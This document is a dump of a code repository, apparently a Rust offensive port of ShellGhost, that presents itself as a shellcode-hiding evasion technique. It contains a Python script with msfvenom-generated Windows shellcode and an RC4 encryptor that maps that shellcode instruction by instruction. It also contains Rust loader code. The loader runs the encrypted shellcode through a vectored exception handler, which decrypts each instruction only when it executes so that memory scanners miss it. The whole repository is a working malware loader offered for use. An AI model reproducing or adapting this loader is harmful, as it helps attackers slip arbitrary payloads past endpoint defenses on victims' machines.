6 | 7 | **A memory-based evasion technique which makes shellcode invisible from process start to end.** 8 | 9 | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- 10 | ## Motivation 11 | 12 | [ShellGhost](https://github.com/lem0nSec/ShellGhost) Offensive Edition, and rust! 13 | 14 | ## Build 15 | 16 | The shellcode needs to be processed using scripts/main.py (the default shellcode is calc). 17 | 18 | Executing the py file generates three files (in, sh, shellcode.bin). 19 | 20 | Place these three files in the assets directory, and compile them with **cargo b -r**. -------------------------------------------------------------------------------- /assets/in: -------------------------------------------------------------------------------- 1 | {c.rva = 0; 2 | c.quota = 1; 3 | INFO.instruction.push(c); 4 | c.rva = 1; 5 | c.quota = 4; 6 | INFO.instruction.push(c); 7 | c.rva = 5; 8 | c.quota = 5; 9 | INFO.instruction.push(c); 10 | c.rva = 10; 11 | c.quota = 2; 12 | INFO.instruction.push(c); 13 | c.rva = 12; 14 | c.quota = 2; 15 | INFO.instruction.push(c); 16 | c.rva = 14; 17 | c.quota = 1; 18 | INFO.instruction.push(c); 19 | c.rva = 15; 20 | c.quota = 1; 21 | INFO.instruction.push(c); 22 | c.rva = 16; 23 | c.quota = 1; 24 | INFO.instruction.push(c); 25 | c.rva = 17; 26 | c.quota = 3; 27 | INFO.instruction.push(c); 28 | c.rva = 20; 29 | c.quota = 5; 30 | INFO.instruction.push(c); 31 | c.rva = 25; 32 | c.quota = 4; 33 | INFO.instruction.push(c); 34 | c.rva = 29; 35 | c.quota = 4; 36 | INFO.instruction.push(c); 37 | c.rva = 33; 38 | c.quota = 4; 39 | INFO.instruction.push(c); 40 | c.rva = 37; 41 | c.quota = 5; 42 | INFO.instruction.push(c); 43 | c.rva = 42; 44 | c.quota = 3; 45 | INFO.instruction.push(c); 46 | c.rva = 45; 47 | c.quota = 3; 48 | INFO.instruction.push(c); 49 | c.rva = 48; 50 | c.quota = 1; 51 | INFO.instruction.push(c); 52 | c.rva = 49; 53 | c.quota = 2; 54 | INFO.instruction.push(c); 55 | c.rva = 51; 56 | c.quota = 2; 57 | INFO.instruction.push(c); 58 | c.rva = 53; 59 | c.quota = 2; 60 | INFO.instruction.push(c); 61 | c.rva = 55; 62 | c.quota = 4; 63 | INFO.instruction.push(c); 64 | c.rva = 59; 65 | c.quota = 3; 66 | INFO.instruction.push(c); 67 | c.rva = 62; 68 | c.quota = 2; 69 | INFO.instruction.push(c); 70 | c.rva = 64; 71 | c.quota = 1; 72 | INFO.instruction.push(c); 73 | c.rva = 65; 74 | c.quota = 2; 75 | INFO.instruction.push(c); 76 | c.rva = 67; 77 | c.quota = 4; 78 | INFO.instruction.push(c); 79 | c.rva = 71; 80 | c.quota = 3; 81 | INFO.instruction.push(c); 82 | c.rva = 74; 83 | c.quota = 3; 84 | INFO.instruction.push(c); 85 | c.rva = 77; 86 | c.quota = 6; 87 | INFO.instruction.push(c); 88 | c.rva = 83; 89 | c.quota = 3; 90 | INFO.instruction.push(c); 91 | c.rva = 86; 92 | c.quota = 2; 93 | INFO.instruction.push(c); 94 | c.rva = 88; 95 | c.quota = 3; 96 | INFO.instruction.push(c); 97 | c.rva = 91; 98 | c.quota = 1; 99 | INFO.instruction.push(c); 100 | c.rva = 92; 101 | c.quota = 3; 102 | INFO.instruction.push(c); 103 | c.rva = 95; 104 | c.quota = 4; 105 | INFO.instruction.push(c); 106 | c.rva = 99; 107 | c.quota = 3; 108 | INFO.instruction.push(c); 109 | c.rva = 102; 110 | c.quota = 2; 111 | INFO.instruction.push(c); 112 | c.rva = 104; 113 | c.quota = 3; 114 | INFO.instruction.push(c); 115 | c.rva = 107; 116 | c.quota = 4; 117 | INFO.instruction.push(c); 118 | c.rva = 111; 119 | c.quota = 3; 120 | INFO.instruction.push(c); 121 | c.rva = 114; 122 | c.quota = 3; 123 | INFO.instruction.push(c); 124 | c.rva = 117; 125 | c.quota = 3; 126 | INFO.instruction.push(c); 127 | c.rva = 120; 128 | c.quota = 1; 129 | INFO.instruction.push(c); 130 | c.rva = 121; 131 | c.quota = 4; 132 | INFO.instruction.push(c); 133 | c.rva = 125; 134 | c.quota = 3; 135 | INFO.instruction.push(c); 136 | c.rva = 128; 137 | c.quota = 2; 138 | INFO.instruction.push(c); 139 | c.rva = 130; 140 | c.quota = 2; 141 | INFO.instruction.push(c); 142 | c.rva = 132; 143 | c.quota = 5; 144 | INFO.instruction.push(c); 145 | c.rva = 137; 146 | c.quota = 3; 147 | INFO.instruction.push(c); 148 | c.rva = 140; 149 | c.quota = 2; 150 | INFO.instruction.push(c); 151 | c.rva = 142; 152 | c.quota = 1; 153 | INFO.instruction.push(c); 154 | c.rva = 143; 155 | c.quota = 4; 156 | INFO.instruction.push(c); 157 | c.rva = 147; 158 | c.quota = 3; 159 | INFO.instruction.push(c); 160 | c.rva = 150; 161 | c.quota = 5; 162 | INFO.instruction.push(c); 163 | c.rva = 155; 164 | c.quota = 4; 165 | INFO.instruction.push(c); 166 | c.rva = 159; 167 | c.quota = 3; 168 | INFO.instruction.push(c); 169 | c.rva = 162; 170 | c.quota = 4; 171 | INFO.instruction.push(c); 172 | c.rva = 166; 173 | c.quota = 3; 174 | INFO.instruction.push(c); 175 | c.rva = 169; 176 | c.quota = 2; 177 | INFO.instruction.push(c); 178 | c.rva = 171; 179 | c.quota = 2; 180 | INFO.instruction.push(c); 181 | c.rva = 173; 182 | c.quota = 1; 183 | INFO.instruction.push(c); 184 | c.rva = 174; 185 | c.quota = 1; 186 | INFO.instruction.push(c); 187 | c.rva = 175; 188 | c.quota = 1; 189 | INFO.instruction.push(c); 190 | c.rva = 176; 191 | c.quota = 2; 192 | INFO.instruction.push(c); 193 | c.rva = 178; 194 | c.quota = 2; 195 | INFO.instruction.push(c); 196 | c.rva = 180; 197 | c.quota = 2; 198 | INFO.instruction.push(c); 199 | c.rva = 182; 200 | c.quota = 4; 201 | INFO.instruction.push(c); 202 | c.rva = 186; 203 | c.quota = 2; 204 | INFO.instruction.push(c); 205 | c.rva = 188; 206 | c.quota = 2; 207 | INFO.instruction.push(c); 208 | c.rva = 190; 209 | c.quota = 1; 210 | INFO.instruction.push(c); 211 | c.rva = 191; 212 | c.quota = 2; 213 | INFO.instruction.push(c); 214 | c.rva = 193; 215 | c.quota = 1; 216 | INFO.instruction.push(c); 217 | c.rva = 194; 218 | c.quota = 3; 219 | INFO.instruction.push(c); 220 | c.rva = 197; 221 | c.quota = 5; 222 | INFO.instruction.push(c); 223 | c.rva = 202; 224 | c.quota = 1; 225 | INFO.instruction.push(c); 226 | c.rva = 203; 227 | c.quota = 10; 228 | INFO.instruction.push(c); 229 | c.rva = 213; 230 | c.quota = 7; 231 | INFO.instruction.push(c); 232 | c.rva = 220; 233 | c.quota = 6; 234 | INFO.instruction.push(c); 235 | c.rva = 226; 236 | c.quota = 2; 237 | INFO.instruction.push(c); 238 | c.rva = 228; 239 | c.quota = 5; 240 | INFO.instruction.push(c); 241 | c.rva = 233; 242 | c.quota = 6; 243 | INFO.instruction.push(c); 244 | c.rva = 239; 245 | c.quota = 2; 246 | INFO.instruction.push(c); 247 | c.rva = 241; 248 | c.quota = 4; 249 | INFO.instruction.push(c); 250 | c.rva = 245; 251 | c.quota = 2; 252 | INFO.instruction.push(c); 253 | c.rva = 247; 254 | c.quota = 2; 255 | INFO.instruction.push(c); 256 | c.rva = 249; 257 | c.quota = 3; 258 | INFO.instruction.push(c); 259 | c.rva = 252; 260 | c.quota = 2; 261 | INFO.instruction.push(c); 262 | c.rva = 254; 263 | c.quota = 5; 264 | INFO.instruction.push(c); 265 | c.rva = 259; 266 | c.quota = 2; 267 | INFO.instruction.push(c); 268 | c.rva = 261; 269 | c.quota = 1; 270 | INFO.instruction.push(c); 271 | c.rva = 262; 272 | c.quota = 3; 273 | INFO.instruction.push(c); 274 | c.rva = 265; 275 | c.quota = 2; 276 | INFO.instruction.push(c); 277 | c.rva = 267; 278 | c.quota = 1; 279 | INFO.instruction.push(c); 280 | c.rva = 268; 281 | c.quota = 1; 282 | INFO.instruction.push(c); 283 | c.rva = 269; 284 | c.quota = 1; 285 | INFO.instruction.push(c); 286 | c.rva = 270; 287 | c.quota = 1; 288 | INFO.instruction.push(c); 289 | c.rva = 271; 290 | c.quota = 4; 291 | INFO.instruction.push(c); 292 | c.rva = 275; 293 | c.quota = 1; 294 | INFO.instruction.push(c); 295 | } -------------------------------------------------------------------------------- /assets/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1-team/phantom/5f4a6ddf3d2c576a44f364af6a6ff66ff21b303f/assets/logo.png -------------------------------------------------------------------------------- /assets/sh: -------------------------------------------------------------------------------- 1 | { 2 | INFO.instruction = Vec::with_capacity(98); 3 | } -------------------------------------------------------------------------------- /assets/shellcode.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1-team/phantom/5f4a6ddf3d2c576a44f364af6a6ff66ff21b303f/assets/shellcode.bin -------------------------------------------------------------------------------- /scripts/main.py: -------------------------------------------------------------------------------- 1 | # ----------------------------------------------------------------------------------------------# 2 | # Author: Angelo Frasca Caccia (lem0nSec_) # 3 | # Date: 16/01/2023 # 4 | # Title: ShellGhost_mapping.py (shellcode mapping script for ShellGhost) # 5 | # Website: https://github.com/lem0nSec/ShellGhost # 6 | # Credits: https://github.com/fishstiqz/nasmshell (nasmshell) # 7 | # https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071 (RC4 encryption) # 8 | # ----------------------------------------------------------------------------------------------# 9 | 10 | 11 | import subprocess 12 | import tempfile 13 | import sys 14 | import os 15 | from typing import Iterator 16 | from math import floor 17 | 18 | # msfvenom -p windows/x64/exec cmd=calc.exe EXITFUNC=thread -e generic/none -f python 19 | buf = b"" 20 | buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51" 21 | buf += b"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52" 22 | buf += b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72" 23 | buf += b"\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" 24 | buf += b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" 25 | buf += b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b" 26 | buf += b"\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" 27 | buf += b"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" 28 | buf += b"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41" 29 | buf += b"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" 30 | buf += b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1" 31 | buf += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" 32 | buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" 33 | buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" 34 | buf += b"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" 35 | buf += b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" 36 | buf += b"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48" 37 | buf += b"\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d" 38 | buf += b"\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5" 39 | buf += b"\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" 40 | buf += b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" 41 | buf += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89" 42 | buf += b"\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" 43 | 44 | # RC4 key 45 | key = b"\x62\x31\x6e\x68\x61\x63\x6b" 46 | 47 | 48 | def key_scheduling(key: bytes) -> list[int]: 49 | sched = [i for i in range(0, 256)] 50 | 51 | i = 0 52 | for j in range(0, 256): 53 | i = (i + sched[j] + key[j % len(key)]) % 256 54 | tmp = sched[j] 55 | sched[j] = sched[i] 56 | sched[i] = tmp 57 | 58 | return sched 59 | 60 | 61 | def stream_generation(sched: list[int]) -> Iterator[bytes]: 62 | i, j = 0, 0 63 | while True: 64 | i = (1 + i) % 256 65 | j = (sched[i] + j) % 256 66 | tmp = sched[j] 67 | sched[j] = sched[i] 68 | sched[i] = tmp 69 | yield sched[(sched[i] + sched[j]) % 256] 70 | 71 | 72 | def encrypt(plaintext: bytes, key: bytes) -> bytes: 73 | sched = key_scheduling(key) 74 | key_stream = stream_generation(sched) 75 | 76 | ciphertext = b'' 77 | for char in plaintext: 78 | enc = char ^ next(key_stream) 79 | ciphertext += bytes([enc]) 80 | 81 | return ciphertext 82 | 83 | 84 | def parse(buf_out): 85 | cur_op = [] 86 | cur_offset = [] 87 | cur_instr = [] 88 | 89 | for line in buf_out.splitlines(): 90 | line = line.strip() 91 | elems = line.split(None, 2) 92 | 93 | if len(elems) == 3: 94 | cur_op.append(elems[1]) 95 | cur_offset.append(elems[0]) 96 | cur_instr.append(elems[2]) 97 | 98 | elif len(elems) == 1 and elems[0][0] == '-': 99 | cur_op[-1] += elems[0][1:] 100 | 101 | return cur_offset, cur_instr, cur_op 102 | 103 | 104 | def disassemble(binfile, bits): 105 | proc = subprocess.Popen(["ndisasm", "-b%u" % (bits), binfile], stdout=subprocess.PIPE, stderr=subprocess.PIPE) 106 | buf_out, buf_err = proc.communicate() 107 | buf_out = buf_out.decode() 108 | buf_err = buf_err.decode() 109 | return parse(buf_out) 110 | 111 | 112 | def createBinfile(binfd, binfile): 113 | binfd, binfile = tempfile.mkstemp() 114 | os.write(binfd, buf) 115 | os.close(binfd) 116 | return binfile 117 | 118 | 119 | if __name__ == "__main__": 120 | 121 | bits = 64 # 64 bit shellcode 122 | binfile = None 123 | 124 | # mode 1 125 | binfd = None 126 | binfile = createBinfile(binfd, binfile) 127 | cur_offset = ((disassemble(binfile, bits))[0]) 128 | cur_instr = ((disassemble(binfile, bits))[1]) 129 | cur_op = ((disassemble(binfile, bits))[2]) 130 | i = 0 131 | ins = "" 132 | ins += "{" 133 | for opcode in cur_op: 134 | ins += ( 135 | f"c.rva = {str(int(cur_offset[i], 16))};\n" + f"c.quota = {str(floor(len(opcode) / 2))};\n" + "INFO.instruction.push(c);\n") 136 | i += 1 137 | ins += "}" 138 | f = open("in", "w") 139 | f.write(ins) 140 | 141 | # mode 4 142 | binfd = None 143 | binfile = createBinfile(binfd, binfile) 144 | cur_offset = ((disassemble(binfile, bits))[0]) 145 | cur_instr = ((disassemble(binfile, bits))[1]) 146 | cur_op = ((disassemble(binfile, bits))[2]) 147 | instrCount = 0 148 | alca = [] 149 | a = [] 150 | b = [] 151 | for num in range(len(cur_op)): 152 | for i in cur_op[num]: 153 | alca.append(i) 154 | ops = [''.join(alca[i:i + 2]) for i in range(0, len(alca), 2)] 155 | var = f"b\"\\x" + "\\x".join(ops) + "\"" 156 | result = encrypt(eval(var), key) 157 | for s in result: 158 | a.append(hex(s)) 159 | instrCount += 1 160 | alca = [] 161 | for i in range(len(a)): 162 | b.append(int(a[i], 16).to_bytes(1, "little")) 163 | f = open("shellcode.bin", "wb") 164 | f.writelines(b) 165 | sh = "" 166 | sh += "{\n" 167 | sh += "INFO.instruction = Vec::with_capacity(" + str(instrCount) + ");" 168 | sh += "\n}" 169 | f = open("sh", "w") 170 | f.write(sh) 171 | 172 | if binfile: 173 | os.unlink(binfile) 174 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | mod utils; 2 | 3 | use crate::utils::{intercept_shellcode_exception, resolve_end_of_text_segment}; 4 | use std::ffi::{c_uchar, c_void}; 5 | use std::mem::transmute; 6 | use std::ops::Not; 7 | use std::ptr::{null, null_mut}; 8 | use windows_sys::Win32::Foundation::CloseHandle; 9 | use windows_sys::Win32::System::Diagnostics::Debug::{ 10 | AddVectoredExceptionHandler, RemoveVectoredExceptionHandler, 11 | }; 12 | use windows_sys::Win32::System::Memory::{VirtualAlloc, MEM_COMMIT, PAGE_READWRITE}; 13 | use windows_sys::Win32::System::Threading::{CreateThread, WaitForSingleObject, INFINITE}; 14 | 15 | static mut INFO: Phantom = Phantom::default_const(); 16 | 17 | #[derive(Debug, Default, Copy, Clone)] 18 | struct CryptBytesQuota { 19 | rva: usize, 20 | quota: usize, 21 | } 22 | 23 | #[derive(Debug)] 24 | struct Phantom { 25 | allocation_base: *mut c_void, 26 | previous_instruction: *mut c_void, 27 | sh: Vec, 28 | instruction: Vec, 29 | } 30 | 31 | impl Phantom { 32 | const fn default_const() -> Self { 33 | Self { 34 | allocation_base: null_mut(), 35 | previous_instruction: null_mut(), 36 | sh: vec![], 37 | instruction: vec![], 38 | } 39 | } 40 | } 41 | 42 | fn main() { 43 | unsafe { 44 | let shellcode: &[u8] = include_bytes!("../assets/shellcode.bin"); 45 | INFO.sh = Vec::from(shellcode); 46 | include!("../assets/sh"); 47 | 48 | let mut c = CryptBytesQuota::default(); 49 | include!("../assets/in"); 50 | 51 | INFO.allocation_base = VirtualAlloc(null(), INFO.sh.len(), MEM_COMMIT, PAGE_READWRITE); 52 | 53 | if INFO.allocation_base.is_null().not() { 54 | for i in 0..=INFO.sh.len() { 55 | *(((INFO.allocation_base as usize) + i) as *mut c_uchar) = 0xcc; 56 | } 57 | 58 | let h_thread = CreateThread( 59 | null(), 60 | 0, 61 | transmute(resolve_end_of_text_segment()), 62 | null(), 63 | 0, 64 | null_mut(), 65 | ); 66 | if h_thread != 0 { 67 | AddVectoredExceptionHandler(1, Some(intercept_shellcode_exception)); 68 | WaitForSingleObject(h_thread, INFINITE); 69 | RemoveVectoredExceptionHandler(intercept_shellcode_exception as *mut c_void); 70 | CloseHandle(h_thread); 71 | } 72 | } 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /src/utils.rs: -------------------------------------------------------------------------------- 1 | use crate::INFO; 2 | use std::ffi::{c_long, c_uchar, c_ulong, c_ushort, c_void}; 3 | use std::mem::{size_of, transmute, zeroed}; 4 | use std::ops::Not; 5 | use std::ptr::{addr_of_mut, null, null_mut}; 6 | use windows_sys::Win32::Foundation::{ 7 | EXCEPTION_BREAKPOINT, NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL, 8 | }; 9 | use windows_sys::Win32::System::Diagnostics::Debug::{ 10 | CONTEXT, EXCEPTION_POINTERS, IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER, 11 | }; 12 | use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress, LoadLibraryA}; 13 | use windows_sys::Win32::System::Memory::{ 14 | VirtualProtect, VirtualQuery, MEMORY_BASIC_INFORMATION, PAGE_EXECUTE_READ, PAGE_READWRITE, 15 | }; 16 | use windows_sys::Win32::System::SystemServices::IMAGE_DOS_HEADER; 17 | use windows_sys::Win32::System::Threading::ExitThread; 18 | 19 | const EXCEPTION_CONTINUE_EXECUTION: i32 = -1; 20 | 21 | enum InstrInfo { 22 | Quota, 23 | Rva, 24 | Number, 25 | } 26 | 27 | #[repr(C)] 28 | struct UString { 29 | length: c_ulong, 30 | maximum_length: c_ulong, 31 | buffer: *mut c_void, 32 | } 33 | 34 | fn check_allocation_protection(allocation: *mut c_void, allocation_size: usize) -> c_ulong { 35 | unsafe { 36 | let mut p_mem_info: MEMORY_BASIC_INFORMATION = zeroed(); 37 | if VirtualQuery(allocation, addr_of_mut!(p_mem_info), allocation_size) != 0 { 38 | return p_mem_info.Protect; 39 | } 40 | } 41 | 42 | 0 43 | } 44 | 45 | fn resolve_buffer_feature(pointer: *mut c_void, dw_option: InstrInfo) -> usize { 46 | unsafe { 47 | let offset = (pointer as usize) - (INFO.allocation_base as usize); 48 | 49 | for i in 0..=INFO.instruction.len() { 50 | if offset == INFO.instruction[i].rva { 51 | return match dw_option { 52 | InstrInfo::Quota => INFO.instruction[i].quota, 53 | InstrInfo::Rva => INFO.instruction[i].rva, 54 | InstrInfo::Number => i, 55 | }; 56 | } 57 | } 58 | } 59 | 60 | 0 61 | } 62 | 63 | pub fn resolve_end_of_text_segment() -> *mut c_void { 64 | unsafe { 65 | let h_current = GetModuleHandleA(null()); 66 | if h_current != 0 { 67 | let p_idh = h_current as *mut IMAGE_DOS_HEADER; 68 | let p_inh = 69 | ((h_current as usize) + ((*p_idh).e_lfanew as usize)) as *mut IMAGE_NT_HEADERS64; 70 | let p_ish = 71 | ((p_inh as usize) + size_of::()) as *mut IMAGE_SECTION_HEADER; 72 | let p_text = ((h_current as usize) + ((*p_ish).VirtualAddress as usize)) as *mut c_void; 73 | let p_text_null = 74 | ((p_text as usize) + ((*p_ish).Misc.VirtualSize as usize) + 5) as *mut c_void; 75 | 76 | return p_text_null; 77 | } 78 | } 79 | 80 | null_mut() 81 | } 82 | 83 | fn resolve_instruction_by_rva(pointer: *mut c_void) -> NTSTATUS { 84 | unsafe { 85 | let rva = resolve_buffer_feature(pointer, InstrInfo::Rva); 86 | for i in 0..INFO.instruction[resolve_buffer_feature(pointer, InstrInfo::Number)].quota { 87 | *(((pointer as usize) + i) as *mut c_uchar) = INFO.sh.get(rva + i).unwrap().to_owned(); 88 | } 89 | } 90 | 91 | STATUS_SUCCESS 92 | } 93 | 94 | fn patch_shellcode_for_exception(pointer: *mut c_void) -> NTSTATUS { 95 | let mut status = STATUS_UNSUCCESSFUL; 96 | 97 | unsafe { 98 | let mut adv_base = GetModuleHandleA(b"advapi32.dll\0".as_ptr().cast()); 99 | if adv_base == 0 { 100 | adv_base = LoadLibraryA(b"advapi32.dll\0".as_ptr().cast()); 101 | } 102 | 103 | if adv_base != 0 { 104 | let mut k = [ 105 | 0x62_u8, 0x31_u8, 0x6e_u8, 0x68_u8, 0x61_u8, 0x63_u8, 0x6b_u8, 106 | ]; 107 | let mut buf: UString = zeroed(); 108 | let mut key: UString = zeroed(); 109 | buf.buffer = pointer; 110 | buf.length = 111 | c_ulong::try_from(resolve_buffer_feature(pointer, InstrInfo::Quota)).unwrap(); 112 | key.buffer = k.as_mut_ptr().cast(); 113 | key.length = 7; 114 | 115 | let system_function033: fn(data: *mut UString, k_needed: *mut UString) -> NTSTATUS = 116 | transmute(GetProcAddress( 117 | adv_base, 118 | b"SystemFunction033\0".as_ptr().cast(), 119 | )); 120 | if (system_function033 as usize) != 0 { 121 | status = system_function033(addr_of_mut!(buf), addr_of_mut!(key)); 122 | } 123 | } 124 | } 125 | 126 | status 127 | } 128 | 129 | fn adjust_function_parameters(context_record: *mut CONTEXT) -> bool { 130 | let mut status = false; 131 | 132 | unsafe { 133 | if (*context_record).Rcx as usize >= INFO.allocation_base as usize 134 | && (*context_record).Rcx as usize <= INFO.allocation_base as usize + INFO.sh.len() 135 | && *(((*context_record).Rcx) as *mut c_uchar) == 0xcc 136 | { 137 | let mut current_instruction = 138 | resolve_buffer_feature((*context_record).Rcx as *mut c_void, InstrInfo::Number); 139 | let mut pointer = (*context_record).Rcx as *mut c_void; 140 | 141 | while status.not() { 142 | resolve_instruction_by_rva(pointer); 143 | patch_shellcode_for_exception(pointer); 144 | for i in 0..INFO.instruction[current_instruction].quota { 145 | if *(((pointer as usize) + i) as *mut c_uchar) == 0x00 { 146 | status = true; 147 | break; 148 | } 149 | } 150 | 151 | pointer = ((pointer as usize) + INFO.instruction[current_instruction].quota) 152 | as *mut c_void; 153 | current_instruction += 1; 154 | } 155 | } 156 | } 157 | 158 | status 159 | } 160 | 161 | fn restore_previous_instruction_breakpoint(pointer: *mut c_void) -> bool { 162 | unsafe { 163 | let current_instruction = resolve_buffer_feature(pointer, InstrInfo::Number); 164 | for i in 0..INFO.instruction[current_instruction].quota { 165 | *(((pointer as usize) + i) as *mut c_uchar) = 0xcc; 166 | } 167 | } 168 | 169 | true 170 | } 171 | 172 | pub unsafe extern "system" fn intercept_shellcode_exception( 173 | exception_data: *mut EXCEPTION_POINTERS, 174 | ) -> c_long { 175 | unsafe { 176 | if (((*(*exception_data).ContextRecord).Rip as usize) >= (INFO.allocation_base as usize) 177 | && ((*(*exception_data).ContextRecord).Rip as usize) 178 | <= ((INFO.allocation_base as usize) + INFO.sh.len())) 179 | || (*(*exception_data).ContextRecord).Rip == (resolve_end_of_text_segment() as u64) 180 | { 181 | if (*(*exception_data).ContextRecord).Rip == (resolve_end_of_text_segment() as u64) { 182 | (*(*exception_data).ContextRecord).Rip = INFO.allocation_base as u64; 183 | } 184 | 185 | let mut old = 0; 186 | if check_allocation_protection( 187 | ((*(*exception_data).ContextRecord).Rip) as *mut c_void, 188 | INFO.sh.len(), 189 | ) == PAGE_EXECUTE_READ 190 | { 191 | VirtualProtect( 192 | ((*(*exception_data).ContextRecord).Rip) as *mut c_void, 193 | INFO.sh.len(), 194 | PAGE_READWRITE, 195 | addr_of_mut!(old), 196 | ); 197 | } 198 | 199 | if INFO.previous_instruction >= INFO.allocation_base { 200 | restore_previous_instruction_breakpoint(INFO.previous_instruction); 201 | } 202 | 203 | if (*(*exception_data).ExceptionRecord).ExceptionCode == EXCEPTION_BREAKPOINT 204 | || (*(*exception_data).ContextRecord).Rip == INFO.allocation_base as u64 205 | { 206 | resolve_instruction_by_rva((*(*exception_data).ContextRecord).Rip as *mut c_void); 207 | if patch_shellcode_for_exception( 208 | (*(*exception_data).ContextRecord).Rip as *mut c_void, 209 | ) == STATUS_UNSUCCESSFUL 210 | { 211 | ExitThread(0); 212 | } 213 | 214 | INFO.previous_instruction = ((*(*exception_data).ContextRecord).Rip) as *mut c_void; 215 | 216 | if *(((*(*exception_data).ContextRecord).Rip) as *mut c_ushort) == 0xe0ff { 217 | *(((*(*exception_data).ContextRecord).Rip) as *mut c_ushort) = 0xcccc; 218 | adjust_function_parameters((*exception_data).ContextRecord); 219 | (*(*exception_data).ContextRecord).Rip = (*(*exception_data).ContextRecord).Rax; 220 | restore_previous_instruction_breakpoint(INFO.previous_instruction); 221 | return EXCEPTION_CONTINUE_EXECUTION; 222 | } 223 | } 224 | 225 | VirtualProtect( 226 | ((*(*exception_data).ContextRecord).Rip) as *mut c_void, 227 | INFO.sh.len(), 228 | PAGE_EXECUTE_READ, 229 | addr_of_mut!(old), 230 | ); 231 | EXCEPTION_CONTINUE_EXECUTION 232 | } else { 233 | ExitThread(0); 234 | } 235 | } 236 | } 237 | --------------------------------------------------------------------------------